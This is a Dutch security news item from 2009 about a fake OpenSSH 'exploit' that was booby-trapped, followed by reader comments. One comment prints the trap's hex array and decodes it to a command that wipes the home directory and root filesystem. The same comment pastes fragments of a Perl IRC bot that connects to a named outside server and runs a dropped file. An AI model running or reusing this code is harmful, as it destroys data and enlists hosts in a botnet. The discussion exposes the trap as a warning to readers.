image

OpenSSH "exploit" bevat boobytrap

woensdag 15 juli 2009, 15:06 door Redactie, 9 reacties

De geruchten over een zero-day OpenSSH exploit werden snel naar het rijk der fabelen verwezen, toch gaat er bestand rond dat zich als exploit voordoet. Milw0rm-beheerder Str0ke plaatste op Twitter een link naar een zogenaamde exploit die van de anti-sec group afkomstig zou zijn. De hackers kwamen laatst al in het nieuws wegens het hacken van ImageShack en hun protest tegen full-disclosure. Toch is de code niet het werk van anti-sec, zo vermoedt Str0ke.

Xyberpix van SecuriTeam besloot het bestand, 0pen0wn.c, te compileren en draaien, wat er uiteindelijk voor zorgde dat hij zijn systeem moest herstellen. "Ik ben erg benieuwd hoeveel mensen hier in trappen, en ik zou graag willen dat ik hun gezicht zou kunnen zien." De Luxemburgse beveiligingsonderzoeker Thierry Zoller legde de code op de pijnbank en maakte de volgende analyse.

Reacties (9)
15-07-2009, 15:45 door Quadrazar
Wow die neutron heef een fraaie homepage.
15-07-2009, 15:47 door Anoniem
omg hoe dom kan je zijn , code runnen zonder eerst de hex om te zetten en zien wat de code juist doet :)
15-07-2009, 16:51 door [Account Verwijderd]
[Verwijderd]
15-07-2009, 23:12 door extranion
Door Peter V:
Door Anoniem: omg hoe dom kan je zijn , code runnen zonder eerst de hex om te zetten en zien wat de code juist doet :)

Dat kan maar een ding betekenen: persoon is onbekend met deze materie. Anders had ie zeker geen Run gegeven.

Dit soort dingen doe je ook niet op je main computer mag ik aannemen, heb zelf hier ook nog een testcomputer staan.
16-07-2009, 00:02 door Quadrazar
Ik stel me toch enkele vragen bij de die analyse van de heer Zoller.
(EDIT: lees eerst kukel hieronder, hij wijst mij terecht op een fout in het volgende)

volgens hem is de HEXcode eigenlijk gewoon plain ASCII

HEX code = 22 * 16 Bit / 8 = 44 byte
script size = 1.126 bytes

Hoe gebeurt deze magische dataexpantie? daarop geeft Zoller geen antwoordt. Zelfs als we veronderstellen dat het script in machinetaal vervat zit in de HEX code, dan nog zijn alle strings in totaal groter dan de 44 bytes. (weer een wonder), trouwens met een hoop aritmische bewerkingen en een jump of twee maak je geen 10 While loops. (kortom conversie van HEX naar ASCII, ik zie niet in hoe het kan gebeuren met bovenstaande limitaties).

Het script zelf (enkel maar diagonaal gelezen moet ik toegeven) heeft verschillende eigenschappen die men associeert met een DoS aanval. Het doelwit is een Duits IP adress. Ieder scriptkiddietje dat deze code probeert te runnen wordt een potentiele DoS attakker, hetgeen dus niet aan te raden is. Het is alsof Zoller dit script ergens vanuit een Hackershanboek heeft gecopieerd om zo de wereld te verbazen. Maar dat is mijn mening, gebaseerd om mijn bescheiden kennis, dat iedereen er het zijne van denkt.

@ extanion:
Dit soort dingen doe je ook niet op je main computer mag ik aannemen, heb zelf hier ook nog een testcomputer staan.
ja, en best eentje die niet aan het internet plakt, anders kan je nog altijd iemand anders zijn systeem naar de maan helpen en daar kan die persoon dan waarschijnlijk niet mee lachen. :)
16-07-2009, 01:27 door Kukel
Door Quadrazar: Ik stel me toch enkele vragen bij de die analyse van de heer Zoller.

volgens hem is de HEXcode eigenlijk gewoon plain ASCII


Ik ben geen expert en pretendeer dat ook niet te zijn. Maar als je de andere link OOK leest (deze: http://blogs.securiteam.com/index.php/archives/1302) dan zie je dat het veeeeeeeeel meer is. Dit alles terugwerken levert dus het shell commando op en de oorspronkelijke perl scripts.

Dat wat betreft die 22 tekens (26 volgens mij) in de jmp code is als je die letterlijk naar ascii vertaald het rm commando. De overige code is het perlscript.... niks magische dataexpansie lijkt me....
16-07-2009, 02:09 door Quadrazar
ja alles lezen helpt. tnks Kukel. (en mijn excuses aan de heer Zoller)
17-07-2009, 09:22 door pikah
char jmpcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";

IS

thuis:/home/rvdwesten/test# ./test2
rm -rf ~ /* 2> /dev/null &
thuis:/home/rvdwesten/test#

Shellcode IS
thuis:/home/rvdwesten/test# ./test
#!/usr/bin/perl
$chan="#cn";
$ke";
while (<$sockG (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
n";
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="G (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock";
while (<$sockn";
sleep 1;
n";
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}sleep 1;
sleep 1;
";
while (<$sockn";
sleep 1;
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
thuis:/home/rvdwesten/test#
17-07-2009, 19:40 door Anoniem
Het eerste wat direct verdacht is, is natuurlijk het feit dat er nergens 0x80 in de (linux) shellcode staat... Als je dat al mist dan weet je toch dat er iets stinkt of dat de shellcode nooit gaat werken?
Verder blijkt de 'shellcode' dan direct omzetbaar in een string leesbare ascii, dat kan natuurlijk al zowiezo nooit.
Al met al nogal dom van de onderzoeker om ten eerste de code al niet juist te kunnen interpreteren en dan ook nog eens de code op een machine voor dagelijksgebruik te testen.
[sarcasme]
Verder wil ik de heer danwel mevrouw v/d Westen hartelijk danken voor de genomen tijd om de strings door een convertor-tje heen te gooien, dit was natuurlijk niemand anders gelukt...
[/sarcasme]

Just my 2 cents.
-Jeroen

p.s. Het niveau hier laat zich weer eens van zijn beste kant zien :D
Reageren

Deze posting is gelocked. Reageren is niet meer mogelijk.